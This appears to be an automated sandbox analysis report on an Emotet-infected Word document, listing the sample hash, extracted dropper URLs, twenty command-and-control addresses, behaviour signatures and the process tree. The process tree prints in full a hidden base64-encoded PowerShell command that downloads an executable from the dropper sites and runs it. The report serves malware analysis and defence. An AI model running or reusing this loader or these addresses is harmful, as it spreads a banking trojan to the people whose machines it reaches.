Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    112s
  • resource
    win7v191014
  • submitted
    07/12/2019, 20:59

Sharing

Copy URL Twitter E-mail

General

  • Target
    Docs_c3d6e9cced9f71d25309a2240eb8b182.45.doc
  • Sample191207-pratcb1lzj
  • SHA256 819273b637aa3d7db7f8e436d37513443d2eb96b7d449bf11cdd3f1fc221d2b6
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://newtrendmall.store/01-install/bFNiWnVVI/
  • exe.dropper

    http://scammerreviews.com/wp-admin/DSscXHm/
  • exe.dropper

    http://namisaffron.com/v59rni/ZTuaJanco/
  • exe.dropper

    https://www.oodda.com/wp-admin/de4p2ec3-wj4mghjou-15889/
  • exe.dropper

    https://maxbill.devpace.net/Blog/vl01s-3buqcj-0980773041/

Extracted

Family

  • emotet

C2

  • 172.90.70.168:443

  • 72.69.99.47:80

  • 24.28.178.71:80

  • 172.105.213.30:80

  • 69.30.205.162:7080

  • 50.63.13.135:8080

  • 192.161.190.171:8080

  • 119.159.150.176:443

  • 98.15.140.226:80

  • 190.189.79.73:80

  • 181.44.166.242:80

  • 198.57.217.170:8080

  • 210.224.65.117:80

  • 82.79.244.92:80

  • 72.27.212.209:8080

  • 212.129.14.27:8080

  • 181.47.235.26:993

  • 182.176.116.139:995

  • 142.93.87.198:8080

  • 190.101.87.170:80

rsa_pubkey.plain

Signatures

  • Modifies registry class 136 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Drops file in System32 directory 6 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_c3d6e9cced9f71d25309a2240eb8b182.45.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    • Drops file in System32 directory
    PID:1252
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABBAHMAYQB1AGMAbgBhAHEAZQB6AGgAPQAnAEkAcgB3AHkAeABsAHcAdwBtAGMAaAAnADsAJABGAHAAZwB4AGcAbgBwAHQAIAA9ACAAJwAxADEAJwA7ACQAVgBhAHQAbQB6AHEAZABnAG4AagBzAD0AJwBRAG0AZwB1AHUAbABjAHkAZwBqAG8AcwBoACcAOwAkAFUAaABnAGoAbQBiAGoAcQBjAGwAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAcABnAHgAZwBuAHAAdAArACcALgBlAHgAZQAnADsAJABPAHAAdAB0AHcAeQBmAHEAbABuAGgAZAA9ACcARABuAGcAeQBwAGcAagBnACcAOwAkAFAAeQBwAGsAegB4AGoAdAB3AD0ALgAoACcAbgBlAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBiAEMAbABpAEUAbgBUADsAJABCAGQAaABwAHgAZwBsAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgBlAHcAdAByAGUAbgBkAG0AYQBsAGwALgBzAHQAbwByAGUALwAwADEALQBpAG4AcwB0AGEAbABsAC8AYgBGAE4AaQBXAG4AVgBWAEkALwAqAGgAdAB0AHAAOgAvAC8AcwBjAGEAbQBtAGUAcgByAGUAdgBpAGUAdwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBEAFMAcwBjAFgASABtAC8AKgBoAHQAdABwADoALwAvAG4AYQBtAGkAcwBhAGYAZgByAG8AbgAuAGMAbwBtAC8AdgA1ADkAcgBuAGkALwBaAFQAdQBhAEoAYQBuAGMAbwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbwBvAGQAZABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkAGUANABwADIAZQBjADMALQB3AGoANABtAGcAaABqAG8AdQAtADEANQA4ADgAOQAvACoAaAB0AHQAcABzADoALwAvAG0AYQB4AGIAaQBsAGwALgBkAGUAdgBwAGEAYwBlAC4AbgBlAHQALwBCAGwAbwBnAC8AdgBsADAAMQBzAC0AMwBiAHUAcQBjAGoALQAwADkAOAAwADcANwAzADAANAAxAC8AJwAuACIAUwBwAGAAbABpAFQAIgAoACcAKgAnACkAOwAkAE8AZABxAG8AcQBlAHUAcwB2AGkAPQAnAFEAeQBjAHgAbAB3AHUAZwBuAGgAcwB2AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAgAGkAbgAgACQAQgBkAGgAcAB4AGcAbAB5ACkAewB0AHIAeQB7ACQAUAB5AHAAawB6AHgAagB0AHcALgAiAEQAYABvAHcATgBsAG8AQQBkAGAARgBgAGkATABFACIAKAAkAFkAeAB3AGoAZgB2AHYAdABnAGgAYwAsACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkAOwAkAFQAcgBwAGwAaQBoAGcAZgB0AD0AJwBaAGgAdABwAGkAYgBrAGYAdwBpAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABVAGgAZwBqAG0AYgBqAHEAYwBsACkALgAiAGwAZQBuAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQAMAA4ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAQQByAHQAIgAoACQAVQBoAGcAagBtAGIAagBxAGMAbAApADsAJABMAGIAegBoAGsAdQBsAHUAdgBhAGEAPQAnAEkAcQBrAHQAaQBwAHUAdwBuAG4AeAB6AHIAJwA7AGIAcgBlAGEAawA7ACQAWgBhAHgAegB1AHkAeABmAGcAeABqAG0AZgA9ACcAUwBvAGMAZQBjAHAAbQBvAG4AYwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAG8AYgBpAHMAagBuAHUAdgBkAGIAPQAnAEwAbABkAHYAegBkAHAAcgBjAHUAagB3AG0AJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1428
    • C:\Users\Admin\11.exe
      "C:\Users\Admin\11.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:1280
      • C:\Users\Admin\11.exe
        --47f9ceaa
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Suspicious behavior: EmotetMutantsSpam
        • Executes dropped EXE
        • Drops file in System32 directory
        PID:1492
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-1686574190480285913-1347572241-1065397708-1794387568792226186-370913810151078145"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1936
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:1776
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:744
      • C:\Windows\SysWOW64\makergroup.exe
        "C:\Windows\SysWOW64\makergroup.exe"
        1⤵
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        • Executes dropped EXE
        PID:1888
        • C:\Windows\SysWOW64\makergroup.exe
          --34eba9ad
          2⤵
          • Suspicious use of SetWindowsHookEx
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: EmotetMutantsSpam
          • Executes dropped EXE
          • Drops file in System32 directory
          PID:2036

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/1252-1-0x0000000006E38000-0x0000000006E5E000-memory.dmp
            Download

            memory/1252-2-0x0000000006E5E000-0x0000000006E60000-memory.dmp
            Download

            memory/1252-3-0x0000000006EC5000-0x0000000006ECD000-memory.dmp
            Download

            memory/1252-4-0x0000000009B70000-0x0000000009B74000-memory.dmp
            Download

            memory/1252-5-0x0000000006EC5000-0x0000000006ECD000-memory.dmp
            Download

            memory/1252-8-0x000000000B310000-0x000000000B311000-memory.dmp
            Download

            memory/1252-0-0x0000000006D40000-0x0000000006D44000-memory.dmp
            Download

            memory/1280-19-0x00000000002F0000-0x0000000000307000-memory.dmp
            Download

            memory/1492-23-0x0000000000400000-0x000000000044A000-memory.dmp
            Download

            memory/1492-22-0x00000000005E0000-0x00000000005F7000-memory.dmp
            Download

            memory/1888-25-0x0000000000470000-0x0000000000487000-memory.dmp
            Download

            memory/2036-27-0x0000000000800000-0x0000000000817000-memory.dmp
            Download

            memory/2036-28-0x0000000000400000-0x000000000044A000-memory.dmp
            Download